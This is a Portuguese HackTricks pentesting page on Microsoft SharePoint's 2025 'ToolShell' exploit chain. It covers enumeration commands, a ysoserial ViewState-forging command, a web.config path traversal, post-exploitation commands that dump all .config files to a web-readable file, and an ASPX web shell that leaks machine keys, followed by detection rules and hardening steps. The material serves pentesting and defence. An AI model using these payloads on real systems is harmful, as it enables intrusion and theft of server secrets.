Microsoft SharePoint ā Pentesting & Exploitation
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Microsoft SharePoint (local) Ć© construĆdo sobre ASP.NET/IIS. A maior parte da superfĆcie de ataque web clĆ”ssica (ViewState, Web.Config, web shells, etc.) estĆ”, portanto, presente, mas o SharePoint tambĆ©m vem com centenas de pĆ”ginas ASPX proprietĆ”rias e serviƧos web que ampliam dramaticamente a superfĆcie de ataque exposta. Esta pĆ”gina coleta truques prĆ”ticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ĆŖnfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. Cadeia de exploração 2025 (a.k.a. āToolShellā)
2.1 CVE-2025-49704 ā Injeção de Código em ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=ā¦&DefaultWebPartId=<payload>
permite que código Server-Side Include arbitrÔrio seja injetado na pÔgina, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa Process.Start()
e inserir um ViewState malicioso.
2.2 CVE-2025-49706 ā Bypass de Autenticação Impropria
A mesma pƔgina confia no cabeƧalho X-Forms_BaseUrl para determinar o contexto do site. Ao apontƔ-lo para /_layouts/15/
, a MFA/SSO aplicada no site raiz pode ser contornada sem autenticação.
2.3 CVE-2025-53770 ā Desserialização de ViewState NĆ£o Autenticada ā RCE
Uma vez que o atacante controla um gadget em ToolPane.aspx
, ele pode postar um valor __VIEWSTATE
não assinado (ou apenas com MAC) que aciona a desserialização .NET dentro do w3wp.exe, levando à execução de código.
Se a assinatura estiver habilitada, roube a ValidationKey/DecryptionKey de qualquer web.config
(veja 2.4) e forje o payload com ysoserial.net ou ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}}
2.4 CVE-2025-53771 ā Path Traversal / divulgação do web.config
Enviar um parâmetro Source
elaborado para ToolPane.aspx
(por exemplo, ../../../../web.config
) retorna o arquivo alvo, permitindo a divulgação de:
<machineKey validationKey="ā¦" decryptionKey="ā¦">
ā forjar cookies ViewState / ASPXAUTH- strings de conexĆ£o e segredos.
3. Receitas de pós-exploração observadas na natureza
3.1 Exfiltrar todos os arquivos .config (variação-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
O resultado do debug_dev.js
pode ser baixado anonimamente e contĆ©m todas as configuraƧƵes sensĆveis.
3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
powershell.exe -EncodedCommand <base64>
Exemplo de payload decodificado (abreviado):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Escrito para:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
A shell expƵe endpoints para ler / girar chaves de mƔquina que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
3.3 Variante ofuscada (variação-3)
Mesma shell, mas:
- colocada em
...\15\TEMPLATE\LAYOUTS\
- nomes de variÔveis reduzidos a letras únicas
Thread.Sleep(<ms>)
adicionado para evasão de sandbox e bypass de AV baseado em tempo.
4. Ideias de detecção
Telemetria | Por que Ć© suspeito |
---|---|
w3wp.exe ā cmd.exe | O processo de trabalho raramente deve gerar shell |
cmd.exe ā powershell.exe -EncodedCommand | PadrĆ£o clĆ”ssico de lolbin |
Eventos de arquivo criando debug_dev.js ou spinstall0.aspx | IOCs diretamente do ToolShell |
ProcessCmdLine CONTĆM ToolPane.aspx (logs ETW/Módulo) | PoCs pĆŗblicas invocam esta pĆ”gina |
Exemplo de regra XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Dureza & Mitigação
- Patch ā AtualizaƧƵes de seguranƧa de julho de 2025 corrigem todos os quatro CVEs.
- Rotacione todos os segredos
<machineKey>
eViewState
após a violação. - Remova a permissão de escrita LAYOUTS dos grupos
WSS_WPG
&WSS_ADMIN_WPG
. - Bloqueie o acesso externo a
/_layouts/15/ToolPane.aspx
no nĆvel de proxy/WAF. - Ative ViewStateUserKey, MAC habilitado e EventValidation personalizado.
Truques relacionados
- IIS pós-exploração & abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}
ReferĆŖncias
- Unit42 ā Exploração Ativa de Vulnerabilidades do Microsoft SharePoint
- GitHub PoC ā Cadeia de exploração ToolShell
- Microsoft Security Advisory ā CVE-2025-49704 / 49706
- Microsoft Security Advisory ā CVE-2025-53770 / 53771
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao š¬ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter š¦ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.